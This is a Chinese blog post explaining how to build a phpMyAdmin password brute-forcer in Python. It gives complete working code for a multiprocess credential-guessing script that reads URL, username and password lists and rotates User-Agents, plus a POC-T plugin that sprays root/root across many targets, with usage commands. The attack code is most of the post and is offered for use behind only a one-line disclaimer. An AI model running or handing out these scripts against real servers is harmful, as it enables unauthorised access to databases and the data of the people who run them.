事情起因#
本代碼僅供測試使用,讀者自行使用造成的後果與本人無關!
test404 大佬網站也關閉了,他的 phpMyAdmin 多線程批量破解工具最後更新到了v2.3
但是也不太好用:
網上找的代碼不太好用,自己寫一個
一些說明#
驗證的核心代碼#
我在網上找了好多文章,發現核心部分都是檢驗發送構造的帳號密碼請求登錄後頁面裡獨有的關鍵字
比如bypass
大佬以前寫的腳本是檢測login_form
字段:
有檢測pma_password
字段的:
甚至還有檢測phpMyAdmin is more friendly with a
的,這個在正確密碼和不正確密碼界面都檢測不出來:
看來看去還是覺得體驗盒子上的這篇文章看起來靠譜一點 (雖然後面也不怎麼靠譜)
核心的實現方法是用requests
請求時用session()
方法保持住會話,獲得會話的id
和本次的token
然後加上帳號密碼再post
出去,保持 id 和 token 在發送過程中沒有發生變化
命令行參數設置#
第一次接觸到在寫功能性的腳本時添加參數,雖然這個參數可有可無
就是加了一個掛載字典的-p
選項,命令行參數設置一般有三種著名方法
1.sys.argv+getopt
其實就是簡單的字符串分離,完全沒有技術含量:
2.argparse
被很多人推薦,我用下來也蠻好用的
推薦文章
-
argparse --- 命令行選項、參數和子命令解析器(官方文檔)
3.click
Click 是 Flask 的團隊 pallets 開發的優秀開源項目,它為命令行工具的開發封裝了大量方法,使開發者只需要專注於功能實現。這是一個第三方庫,專門為了命令行而生的非常有名的 Python 命令行模塊。
用到了裝飾器,看著有點慌,就沒用了
關於多線程 / 多進程#
廖雪峰關於多線程不能有效使用 CPU 的解釋:
Python 的線程雖然是真正的線程,但解釋器執行代碼時,有一個 GIL 鎖:Global Interpreter Lock,任何 Python 線程執行前,必須先獲得 GIL 鎖,然後,每執行 100 條字節碼,解釋器就自動釋放 GIL 鎖,讓別的線程有機會執行。這個 GIL 全局鎖實際上把所有線程的執行代碼都給上了鎖,所以,多線程在 Python 中只能交替執行,即使 100 個線程跑在 100 核 CPU 上,也只能用到 1 個核。
GIL 是 Python 解釋器設計的歷史遺留問題,通常我們用的解釋器是官方實現的 CPython,要真正利用多核,除非重寫一個不帶 GIL 的解釋器。
所以,在 Python 中,可以使用多線程,但不要指望能有效利用多核。如果一定要通過多線程利用多核,那只能通過 C 擴展來實現,不過這樣就失去了 Python 簡單易用的特點。
不過,也不用過於擔心,Python 雖然不能利用多線程實現多核任務,但可以通過多進程實現多核任務。多個 Python 進程有各自獨立的 GIL 鎖,互不影響。
簡單的來說,就是 Python 要利用多核的話只能使用多進程
在這篇多線程和多進程比較的文章:Python 中單線程、多線程與多進程的效率對比實驗中
可以得出一個結論:
多線程在 CPU 密集型的操作下明顯地比單線程線性執行性能更差,但是對於網絡請求這種忙等阻塞線程的操作,多線程的優勢便非常顯著了
多進程無論是在 CPU 密集型還是 IO 密集型以及網絡請求密集型(經常發生線程阻塞的操作)中,都能體現出性能的優勢。不過在類似網絡請求密集型的操作上,與多線程相差無幾,但卻更佔用 CPU 等資源,所以對於這種情況下,我們可以選擇多線程來執行
用到我本次的實現過程中,就一句話:
多線程多進程效率差不多,但是多進程在 CPU 資源佔用上非常瞩目
多進程全代碼#
我這裡先寫了多進程版的python phpmyadmin爆破腳本
,全代碼如下:
#!/usr/bin/env/python
# -*- coding: utf-8 -*-
'''
@author: soapffz
@fucntion: 多進程爆破phpmyadmin密碼(支持掛載字典)
@time: 2019-12-28
'''
import requests
import os
from multiprocessing.pool import Pool
import time
import sys
import argparse
from fake_useragent import UserAgent
import re
import timeit
class multi_phpmyadmin_verification:
def __init__(self):
args = self.argparse(sys.argv[1:])
if not args.p:
self.passwd_l = open("password.txt").read().splitlines()
elif not os.path.exists(args.p) or not os.path.isfile(args.p):
print("path does not exist,quit")
exit(0)
else:
self.passwd_l = args.p
os.chdir(os.path.dirname(os.path.abspath(__file__)))
self.urls_l = open("url.txt").read().splitlines()
self.username_l = open("username.txt").read().splitlines()
self.multi_thread()
def argparse(self, argv):
# Parsing parameters
parser = argparse.ArgumentParser() # Create a parse object
parser.add_argument(
"-p", type=str, metavar="dic_path", help="Dictionary path")
return parser.parse_args(argv)
def multi_thread(self):
ua = UserAgent() # Used to generate User-Agent
self.headers = {"User-Agent": ua.random} # Get a random User-Agent
pool = Pool()
for url in self.urls_l:
for username in self.username_l:
for passwd in self.passwd_l:
pool.apply_async(self.verify, args=(
url, username, passwd,))
pool.close()
pool.join()
def verify(self, url, username, passwd):
time.sleep(0.01)
print("\r 當前url:{},當前用戶名:{},當前密碼:{}".format(
url, username, passwd), end="")
# Use the \ r parameter to refresh the current line output
session = requests.session()
r1 = session.get(url)
if r1.status_code != 200:
return
session_id = re.findall(r'phpMyAdmin=(.*?);', r1.headers['Set-Cookie'])
token = list(re.compile(
r'name=\"token\" value=\"(.*?)\"').findall(r1.text))[0]
payload = {"set_session": session_id, "pma_username": username,
"pma_password": passwd, "server": "1", "target": "index.php", "token": token}
r2 = session.post(url, data=payload,
allow_redirects=False, headers=self.headers)
if r2.status_code == 302:
print("\n 成功了!!!url:{},username:{},password:{}".format(
url, username, passwd))
if __name__ == "__main__":
start_time = timeit.default_timer()
multi_phpmyadmin_verification()
end_time = timeit.default_timer()
print("\n 程序運行結束,總用時:{}".format(end_time-start_time))
使用方法:
- 在代碼同目錄創建
url.txt
,username.txt
,password.txt
,分別把需要爆破的url
,用戶名和密碼對應寫入 - 分別
pip install
這些庫:
requests
multiprocessing
argparse
fake_useragent
timeit
python phpmyadmin.py
運行代碼,可以加一個-p
參數,後面接字典的路徑
運行效果如下:
cpu
佔用率瞩目:
進程池是根據你的cpu
個數自動設置的,你覺得佔用太高的話,手動在pool = Pool()
這行的括號裡填寫想要的數值即可,最大只能為你的cpu
核數,可以減小一點就不會佔滿cpu
了。
多線程版本#
[2020-02-12 更新]
可以使用POC-T
框架來管理多線程,具體可以參考github
把以下代碼存儲為phpmyadmin-weakpass.py
放到POC-T
的script
文件夾內:
# -*- coding: utf-8 -*-
import requests
import re
def poc(url_dict):
try:
session = requests.session()
req = session.get(url_dict)
if req.status_code == 200:
session_id = re.findall(
r'phpMyAdmin=(.*?);', req.headers['Set-Cookie'])
token = list(re.compile(
r'name=\"token\" value=\"(.*?)\"').findall(req.text))[0]
headers = {"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 Edg/80.0.361.50", "Connection": "close"}
paramsPost = {"set_session": session_id, "pma_username": "root",
"pma_password": "root", "server": "1", "target": "index.php", "token": token}
r2 = session.post(url_dict, data=paramsPost,
allow_redirects=False, headers=headers)
if r2.status_code == 302:
return url_dict
except:
return False
使用如下:
python POC-T.py -s phpmyadmin-weakpass -t 100 -iF urls.txt -o first.txt
效果如下: